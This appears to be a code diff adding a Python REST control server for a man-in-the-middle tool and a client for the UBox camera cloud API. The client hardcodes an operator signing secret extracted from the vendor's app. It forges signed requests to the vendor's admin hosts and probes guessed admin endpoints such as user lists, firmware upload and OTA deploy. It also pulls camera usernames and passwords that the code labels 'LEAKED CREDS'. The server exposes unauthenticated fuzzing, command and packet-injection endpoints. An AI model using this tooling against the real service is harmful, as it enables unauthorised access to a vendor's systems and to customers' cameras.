controller = None # Set by start_server
|
||||
|
||||
def log_message(self, format, *args):
|
||||
pass # Suppress default HTTP logging
|
||||
|
||||
def _send_json(self, data, code=200):
|
||||
body = json.dumps(data).encode("utf-8")
|
||||
self.send_response(code)
|
||||
self.send_header("Content-Type", "application/json")
|
||||
self.send_header("Content-Length", len(body))
|
||||
self.end_headers()
|
||||
self.wfile.write(body)
|
||||
|
||||
def _read_body(self):
|
||||
cl = int(self.headers.get("Content-Length", 0))
|
||||
if cl > 0:
|
||||
return json.loads(self.rfile.read(cl).decode("utf-8"))
|
||||
return {}
|
||||
|
||||
def do_GET(self):
|
||||
path = self.path.rstrip("/")
|
||||
|
||||
if path == "/status":
|
||||
self._send_json({
|
||||
"services_running": self.controller.services_running,
|
||||
"flags": dict(self.controller.flags),
|
||||
"config": self.controller.cfg.safe_dict(),
|
||||
})
|
||||
|
||||
elif path == "/logs":
|
||||
count = 100
|
||||
if "?" in self.path:
|
||||
for param in self.path.split("?")[1].split("&"):
|
||||
if param.startswith("count="):
|
||||
count = int(param.split("=")[1])
|
||||
with log_lines._mutex if hasattr(log_lines, '_mutex') else threading.Lock():
|
||||
lines = [(l, c) for l, c in list(log_lines)[-count:]]
|
||||
self._send_json({"logs": [l for l, _ in lines]})
|
||||
|
||||
elif path == "/devices":
|
||||
self._send_json({"devices": self.controller.get_devices()})
|
||||
|
||||
elif path == "/config":
|
||||
self._send_json(self.controller.cfg.safe_dict())
|
||||
|
||||
elif path == "/fuzz/results":
|
||||
if self.controller.fuzzer:
|
||||
self._send_json({"results": self.controller.fuzzer.results})
|
||||
else:
|
||||
self._send_json({"results": []})
|
||||
|
||||
else:
|
||||
self._send_json({"error": "not found", "endpoints": [
|
||||
"GET /status", "GET /logs?count=N", "GET /devices",
|
||||
"GET /config", "GET /fuzz/results",
|
||||
"POST /start", "POST /stop", "POST /config",
|
||||
"POST /command", "POST /api", "POST /fuzz/endpoints",
|
||||
"POST /fuzz/params", "POST /fuzz/auth", "POST /fuzz/stop",
|
||||
"POST /inject",
|
||||
]}, 404)
|
||||
|
||||
def do_POST(self):
|
||||
path = self.path.rstrip("/")
|
||||
body = self._read_body()
|
||||
|
||||
if path == "/start":
|
||||
threading.Thread(target=self.controller.start_services, daemon=True).start()
|
||||
self._send_json({"status": "starting"})
|
||||
|
||||
elif path == "/stop":
|
||||
threading.Thread(target=self.controller.stop_services, daemon=True).start()
|
||||
self._send_json({"status": "stopping"})
|
||||
|
||||
elif path == "/config":
|
||||
for k, v in body.items():
|
||||
if k in self.controller.cfg.keys():
|
||||
self.controller.cfg[k] = v
|
||||
self.controller.cfg.save()
|
||||
self._send_json({"status": "updated", "config": self.controller.cfg.safe_dict()})
|
||||
|
||||
elif path == "/command":
|
||||
cmd = body.get("cmd", "")
|
||||
if cmd:
|
||||
self.controller.process_command(cmd)
|
||||
self._send_json({"status": "executed", "cmd": cmd})
|
||||
else:
|
||||
self._send_json({"error": "provide 'cmd' field"}, 400)
|
||||
|
||||
elif path == "/api":
|
||||
endpoint = body.get("endpoint", "")
|
||||
data = body.get("data", {})
|
||||
if endpoint:
|
||||
from api import ubox_client
|
||||
result = ubox_client.api_post(
|
||||
self.controller.cfg["api_base"], endpoint,
|
||||
data, self.controller.cfg["api_token"])
|
||||
self._send_json({"result": result})
|
||||
else:
|
||||
self._send_json({"error": "provide 'endpoint' field"}, 400)
|
||||
|
||||
elif path == "/fuzz/endpoints":
|
||||
threading.Thread(target=self.controller.run_fuzz_endpoints, daemon=True).start()
|
||||
self._send_json({"status": "started"})
|
||||
|
||||
elif path == "/fuzz/params":
|
||||
endpoint = body.get("endpoint", "user/device_list")
|
||||
threading.Thread(target=self.controller.run_fuzz_params,
|
||||
args=(endpoint,), daemon=True).start()
|
||||
self._send_json({"status": "started", "endpoint": endpoint})
|
||||
|
||||
elif path == "/fuzz/auth":
|
||||
threading.Thread(target=self.controller.run_fuzz_auth, daemon=True).start()
|
||||
self._send_json({"status": "started"})
|
||||
|
||||
elif path == "/fuzz/stop":
|
||||
if self.controller.fuzzer:
|
||||
self.controller.fuzzer.stop()
|
||||
self._send_json({"status": "stopped"})
|
||||
|
||||
elif path == "/inject":
|
||||
result = self.controller.inject_packet(body)
|
||||
self._send_json(result)
|
||||
|
||||
else:
|
||||
self._send_json({"error": "not found"}, 404)
|
||||
|
||||
|
||||
def start_server(controller, port=9090):
|
||||
MITMApiHandler.controller = controller
|
||||
server = HTTPServer(("0.0.0.0", port), MITMApiHandler)
|
||||
server.timeout = 1
|
||||
log(f"REST API: listening on :{port}", C_SUCCESS)
|
||||
|
||||
while controller.running:
|
||||
server.handle_request()
|
||||
|
||||
server.server_close()
|
||||
log("REST API: stopped", C_INFO)
|
||||
257
api/ubox_client.py
Normal file
257
api/ubox_client.py
Normal file
@@ -0,0 +1,257 @@
|
||||
"""UBox cloud API client — authenticate, list devices, check firmware, etc."""
|
||||
|
||||
import hashlib
|
||||
import hmac
|
||||
import base64
|
||||
import json
|
||||
import time
|
||||
import urllib.request
|
||||
import urllib.error
|
||||
from utils.log import log, C_SUCCESS, C_ERROR, C_INFO, C_TRAFFIC, C_IMPORTANT
|
||||
|
||||
|
||||
# ─── OAM (operator/admin) endpoint signing ───────────────────────
|
||||
# Hardcoded secret extracted from com/http/OamHttpClient.java:28
|
||||
OAM_BASE_URLS = [
|
||||
"https://oam.ubianet.com/api",
|
||||
"https://dev.ubianet.com/oam/api",
|
||||
]
|
||||
OAM_APPID = "30001"
|
||||
OAM_CLIENT_ID = "" # empty in app code; may need to be set per-deployment
|
||||
OAM_SECRET = "2894df25f8f740dff5266bc155c662ca"
|
||||
|
||||
|
||||
def oam_sign(body_str, ts_ms, appid=OAM_APPID, client_id=OAM_CLIENT_ID,
|
||||
secret=OAM_SECRET):
|
||||
"""
|
||||
Reproduce com.http.Encryption.Hmac:
|
||||
sig_str = "<ts>:<appid>:<clientId>:<body>"
|
||||
hmac = HmacSHA1(sig_str.utf8, secret.bytes)
|
||||
result = hex(hmac)
|
||||
"""
|
||||
sig_str = f"{ts_ms}:{appid}:{client_id}:{body_str}"
|
||||
h = hmac.new(secret.encode("utf-8"), sig_str.encode("utf-8"), hashlib.sha1)
|
||||
return h.hexdigest()
|
||||
|
||||
|
||||
def oam_post(endpoint, data, base_url=None):
|
||||
"""
|
||||
POST to an OAM endpoint with the OAM-SIGN header set.
|
||||
Tries each known OAM base URL if the first fails.
|
||||
"""
|
||||
body = json.dumps(data).encode("utf-8")
|
||||
body_str = body.decode("utf-8")
|
||||
ts_ms = str(int(time.time() * 1000))
|
||||
sign = oam_sign(body_str, ts_ms)
|
||||
|
||||
headers = {
|
||||
"Content-Type": "application/json",
|
||||
"OAM-SIGN": sign,
|
||||
"OAM-APPID": OAM_APPID,
|
||||
"CLIENT-ID": OAM_CLIENT_ID,
|
||||
"timestamp": ts_ms,
|
||||
"X-UbiaAPI-CallContext": "source=app&app=ubox&ver=1.1.360&osver=14",
|
||||
}
|
||||
|
||||
bases = [base_url] if base_url else OAM_BASE_URLS
|
||||
last_err = None
|
||||
for b in bases:
|
||||
url = f"{b}/{endpoint}"
|
||||
log(f"OAM: POST {url}", C_INFO)
|
||||
log(f" sign-str = {ts_ms}:{OAM_APPID}::{body_str[:80]}", C_INFO)
|
||||
log(f" OAM-SIGN = {sign}", C_INFO)
|
||||
req = urllib.request.Request(url, data=body, method="POST", headers=headers)
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=15) as resp:
|
||||
payload = json.loads(resp.read().decode("utf-8"))
|
||||
log(f"OAM: {json.dumps(payload, indent=2)[:400]}", C_TRAFFIC)
|
||||
return payload
|
||||
except urllib.error.HTTPError as e:
|
||||
body_text = e.read().decode("utf-8", errors="replace")[:400]
|
||||
log(f"OAM: HTTP {e.code} from {b}: {body_text}", C_ERROR)
|
||||
last_err = {"error": e.code, "body": body_text, "base": b}
|
||||
except Exception as e:
|
||||
log(f"OAM: error from {b}: {e}", C_ERROR)
|
||||
last_err = {"error": str(e), "base": b}
|
||||
return last_err or {"error": "all OAM bases failed"}
|
||||
|
||||
|
||||
def oam_fuzz(endpoints):
|
||||
"""
|
||||
Hit a list of candidate OAM endpoints with empty bodies and report
|
||||
which ones return non-404 responses (i.e. exist).
|
||||
"""
|
||||
results = {"hits": [], "404s": 0, "errors": 0, "tried": 0}
|
||||
for ep in endpoints:
|
||||
results["tried"] += 1
|
||||
r = oam_post(ep, {})
|
||||
if isinstance(r, dict):
|
||||
err = r.get("error")
|
||||
if err == 404:
|
||||
results["404s"] += 1
|
||||
elif err is not None:
|
||||
results["errors"] += 1
|
||||
results["hits"].append({"endpoint": ep, "error": err,
|
||||
"body": r.get("body", "")[:200]})
|
||||
else:
|
||||
# Real JSON came back (msg=success or msg=fail with code)
|
||||
results["hits"].append({"endpoint": ep,
|
||||
"code": r.get("code"),
|
||||
"msg": r.get("msg"),
|
||||
"data": r.get("data")})
|
||||
log(f"OAM-FUZZ: ✓ {ep} -> code={r.get('code')} msg={r.get('msg')}",
|
||||
C_IMPORTANT)
|
||||
log(f"OAM-FUZZ done: {len(results['hits'])} hits / {results['tried']} tried "
|
||||
f"({results['404s']} 404s, {results['errors']} errors)", C_SUCCESS)
|
||||
return results
|
||||
|
||||
|
||||
# Candidate OAM endpoints — confirmed in source + admin guesses
|
||||
OAM_ENDPOINT_GUESSES = [
|
||||
# Confirmed in OamHttpClient.java
|
||||
"lgc/bind_err",
|
||||
"app/push_channel_reg",
|
||||
# Common admin patterns to probe
|
||||
"oam/users", "oam/user/list", "oam/user/info",
|
||||
"oam/devices", "oam/device/list", "oam/device/info",
|
||||
"oam/firmware", "oam/firmware/list", "oam/firmware/upload",
|
||||
"oam/ota", "oam/ota/list", "oam/ota/deploy", "oam/ota/push",
|
||||
"oam/config", "oam/cloud/config", "oam/cloud/keys",
|
||||
"oam/stats", "oam/dashboard", "oam/system",
|
||||
"oam/logs", "oam/audit", "oam/security",
|
||||
"user/list", "user/info", "user/all",
|
||||
"device/list", "device/info", "device/all",
|
||||
"firmware/list", "firmware/all", "firmware/latest",
|
||||
"ota/list", "ota/all", "ota/deploy",
|
||||
"admin/users", "admin/devices", "admin/firmware",
|
||||
"admin/config", "admin/system", "admin/stats",
|
||||
"stats", "dashboard", "system/info", "system/version",
|
||||
"lgc/bind_ok", "lgc/list", "lgc/info",
|
||||
"app/version", "app/config",
|
||||
"push/list", "push/send", "push/all",
|
||||
]
|
||||
|
||||
|
||||
|
||||
def hash_password(password):
|
||||
h = hmac.new(b"", password.encode("utf-8"), hashlib.sha1).digest()
|
||||
b64 = base64.b64encode(h).decode("utf-8")
|
||||
return b64.replace("+", "-").replace("/", "_").replace("=", ",")
|
||||
|
||||
|
||||
def api_post(base_url, endpoint, data, token=None):
|
||||
url = f"{base_url}/{endpoint}"
|
||||
body = json.dumps(data).encode("utf-8")
|
||||
req = urllib.request.Request(url, data=body, method="POST")
|
||||
req.add_header("Content-Type", "application/json")
|
||||
req.add_header("X-UbiaAPI-CallContext", "source=app&app=ubox&ver=1.1.360&osver=14")
|
||||
if token:
|
||||
req.add_header("X-Ubia-Auth-UserToken", token)
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=15) as resp:
|
||||
return json.loads(resp.read().decode("utf-8"))
|
||||
except urllib.error.HTTPError as e:
|
||||
return {"error": e.code, "body": e.read().decode("utf-8", errors="replace")[:500]}
|
||||
except Exception as e:
|
||||
return {"error": str(e)}
|
||||
|
||||
|
||||
def login(cfg):
|
||||
if not cfg["api_email"] or not cfg["api_password"]:
|
||||
log("API: set api_email and api_password first", C_ERROR)
|
||||
return False
|
||||
hashed = hash_password(cfg["api_password"])
|
||||
data = {
|
||||
"account": cfg["api_email"], "password": hashed,
|
||||
"app": "ubox", "app_version": "1.1.360",
|
||||
"device_type": 1, "lang": "en", "brand": "Python",
|
||||
"device_token": "none", "regid_jg": "fail",
|
||||
"regid_xm": "fail", "regid_vivo": "fail",
|
||||
}
|
||||
log(f"API: logging in as {cfg['api_email']}...", C_INFO)
|
||||
result = api_post(cfg["api_base"], "v3/login", data)
|
||||
if result and result.get("msg") == "success":
|
||||
cfg["api_token"] = result["data"]["Token"]
|
||||
log(f"API: login OK — token={cfg['api_token'][:20]}...", C_SUCCESS)
|
||||
|
||||
# Extract app_config keys
|
||||
app_cfg = result["data"].get("app_config", {})
|
||||
if app_cfg:
|
||||
log(f"API: leaked app_config keys extracted", C_IMPORTANT)
|
||||
|
||||
cfg.save()
|
||||
return True
|
||||
else:
|
||||
log(f"API: login failed: {json.dumps(result)[:200]}", C_ERROR)
|
||||
return False
|
||||
|
||||
|
||||
def devices(cfg):
|
||||
if not cfg["api_token"]:
|
||||
log("API: login first", C_ERROR)
|
||||
return []
|
||||
result = api_post(cfg["api_base"], "user/device_list", {}, cfg["api_token"])
|
||||
if result and result.get("msg") == "success":
|
||||
devs = result["data"].get("list", [])
|
||||
fw = result["data"].get("firmware_ver", [])
|
||||
log(f"API: {len(devs)} device(s), firmware: {fw}", C_SUCCESS)
|
||||
for d in devs:
|
||||
uid = d.get("device_uid", "?")
|
||||
name = d.get("name", "?")
|
||||
cu = d.get("cam_user", "")
|
||||
cp = d.get("cam_pwd", "")
|
||||
model = d.get("model_num", "?")
|
||||
bat = d.get("battery", "?")
|
||||
log(f" [{uid}] {name} model={model} bat={bat}%", C_TRAFFIC)
|
||||
if cu and cp:
|
||||
log(f" LEAKED CREDS: {cu} / {cp}", C_IMPORTANT)
|
||||
cfg["device_uid"] = uid
|
||||
cfg["device_cam_user"] = cu
|
||||
cfg["device_cam_pwd"] = cp
|
||||
cfg.save()
|
||||
return devs
|
||||
else:
|
||||
log(f"API: {json.dumps(result)[:300]}", C_ERROR)
|
||||
return []
|
||||
|
||||
|
||||
def check_firmware(cfg):
|
||||
if not cfg["api_token"] or not cfg["device_uid"]:
|
||||
log("API: login and get devices first", C_ERROR)
|
||||
return None
|
||||
result = api_post(cfg["api_base"], "user/qry/device/check_version/v3", {
|
||||
"device_uid": cfg["device_uid"],
|
||||
"host_version": "0.0.0.1",
|
||||
"wifi_version": "0.0.0.1",
|
||||
"is_lite": False, "zone_id": 2,
|
||||
}, cfg["api_token"])
|
||||
log(f"API firmware: {json.dumps(result, indent=2)}", C_TRAFFIC)
|
||||
return result
|
||||
|
||||
|
||||
def device_services(cfg):
|
||||
if not cfg["api_token"] or not cfg["device_uid"]:
|
||||
log("API: login and get devices first", C_ERROR)
|
||||
return None
|
||||
result = api_post(cfg["api_base"], "user/qry/device/device_services",
|
||||
{"device_uid": cfg["device_uid"]}, cfg["api_token"])
|
||||
log(f"API services: {json.dumps(result, indent=2)[:600]}", C_TRAFFIC)
|
||||
return result
|
||||
|
||||
|
||||
def raw_request(cfg, endpoint, data=None):
|
||||
if not cfg["api_token"]:
|
||||
log("API: login first", C_ERROR)
|
||||
return None
|
||||
log(f"API: POST {endpoint}", C_INFO)
|
||||
result = api_post(cfg["api_base"], endpoint, data or {}, cfg["api_token"])
|
||||
log(f"API: {json.dumps(result, indent=2)[:800]}", C_TRAFFIC)
|
||||
return result
|
||||
|
||||
|
||||
def families(cfg):
|
||||
return raw_request(cfg, "user/families")
|
||||
|
||||
|
||||
def device_list_v2(cfg):
|
||||
return raw_request(cfg, "v2/user/device_list")
|
||||
Reference in New Issue
Block a user